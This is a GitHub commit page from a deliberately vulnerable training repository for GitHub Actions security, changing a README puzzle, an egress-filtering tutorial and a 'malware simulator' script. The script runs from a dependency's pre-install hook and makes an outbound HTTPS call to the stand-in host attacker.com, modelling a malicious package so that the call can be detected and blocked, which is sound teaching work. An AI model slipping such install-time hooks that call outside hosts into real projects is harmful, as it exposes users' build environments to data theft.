Skip to content

Commit 510a6fa

Browse files
Update endpoint (step-security#154)
1 parent 4015d0e commit 510a6fa

5 files changed

Lines changed: 16 additions & 10 deletions

File tree

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,11 +21,11 @@ Lets kick things off with a challenge designed to get your analytical gears turn
2121
- This workflow uses the [Harden-Runner GitHub Action](https://github.com/step-security/harden-runner), which provides Security Observability and Runtime Enforcement for GitHub Actions workflows.
2222
- Now, we present you with the puzzle. Check out these [network events monitored during a workflow run](https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/6285441645) of this workflow. Notice anything odd?
2323

24-
**Why is there an outbound call to `pastebin.com` during the workflow run?** Is this expected, or something more nefarious?
24+
**Why is there an outbound call to `attacker.com` during the workflow run?** Is this expected, or something more nefarious?
2525

2626
> For the answer of the puzzle, check out the first hands-on tutorial on [Filtering Egress Network Traffic](./docs/Solutions/RestrictOutboundTraffic.md) from a GitHub Actions workflow run.
2727
28-
<img src="./images/Puzzle3.png" alt="Puzzle showing outbound call to pastebin.com" >
28+
<img src="./images/Puzzle4.png" alt="Puzzle showing outbound call to attacker.com" >
2929

3030
## Threat Scenarios
3131

docs/Solutions/RestrictOutboundTraffic.md

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -33,16 +33,16 @@ As we will see next, one of these steps is making an unexpected outbound call, b
3333

3434
5. Click the link and you will see the outbound calls that were made from each of the steps.
3535

36-
You can now see that the `npm install` step is making a call to `pastebin.com`, which is not expected.
36+
You can now see that the `npm install` step is making a call to `attacker.com`, which is not expected.
3737

3838
### Answer to the puzzle
3939

40-
There is a [Puzzle in the README](../../README.md#puzzle-time) about a call to `pastebin.com`. To understand why this call is being made:
40+
There is a [Puzzle in the README](../../README.md#puzzle-time) about a call to `attacker.com`. To understand why this call is being made:
4141

4242
- Check out the `package.json` file of the [exfiltration-demo](../../src/exfiltration-demo/package.json) folder.
4343
- It has a dependency called `@step-security/malware-simulator`
4444
- This dependency simulates a malicious package. Its [package.json](../../src/malware-simulators/exfiltration-simulator/package.json) has a `pre-install` step that calls [compile.js](../../src/malware-simulators/exfiltration-simulator/compile.js)
45-
- The compile.js file makes an outbound call to `pastebin.com`
45+
- The compile.js file makes an outbound call to `attacker.com`
4646
- As a result, when `npm install` is run in the workflow, the `pre-install` step of the dependency is run, which makes the outbound call.
4747

4848
### Network Filtering with Harden-Runner
@@ -53,11 +53,11 @@ Now lets see how to filter traffic to expected destinations and block everything
5353

5454
2. View the workflow [hosted-network-filtering-hr.yml](../../.github/workflows/hosted-network-filtering-hr.yml) file.
5555

56-
3. `step-security/harden-runner` GitHub Action has `egress-policy` set to `block`. Only the destinations that are expected are in the allowed list. `pastebin.com` is not in this list.
56+
3. `step-security/harden-runner` GitHub Action has `egress-policy` set to `block`. Only the destinations that are expected are in the allowed list. `attacker.com` is not in this list.
5757

5858
4. After the workflow completes, check out the build logs.
5959

60-
5. Click the insights link from the `Harden-Runner` step. You will notice that the call to `pastebin.com` was blocked in this case.
60+
5. Click the insights link from the `Harden-Runner` step. You will notice that the call to `attacker.com` was blocked in this case.
6161

6262
6. You can also install the [StepSecurity Actions Security GitHub App](https://github.com/apps/stepsecurity-actions-security) to get notified via email or Slack when outbound traffic is blocked.
6363

@@ -127,4 +127,4 @@ While there is a secure-by-default policy, to filter traffic to specific destina
127127
3. Visit the workflow insights for this run here:
128128
https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/6285439406
129129

130-
You will notice that the call to `pastebin.com` was blocked in this case.
130+
You will notice that the call to `attacker.com` was blocked in this case.

images/Puzzle3.png

-129 KB
Binary file not shown.

images/Puzzle4.png

105 KB
Loading

src/malware-simulators/exfiltration-simulator/compile.js

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,12 @@
11
const https = require("https");
22

33
https
4-
.get("https://pastebin.com/", (res) => {
4+
.get("https://attacker.com/", (res) => {
5+
if (res.statusCode < 200 || res.statusCode >= 300) {
6+
console.error("HTTP Error: " + res.statusCode);
7+
process.exit(1); // Exit with a failure code on HTTP error status
8+
}
9+
510
let data = "";
611

712
res.on("data", (chunk) => {
@@ -13,5 +18,6 @@ https
1318
});
1419
})
1520
.on("error", (err) => {
16-
console.log("Error: " + err.message);
21+
console.error("Error: " + err.message);
22+
process.exit(1); // Exit with a failure code
1723
});

0 commit comments

Comments
 (0)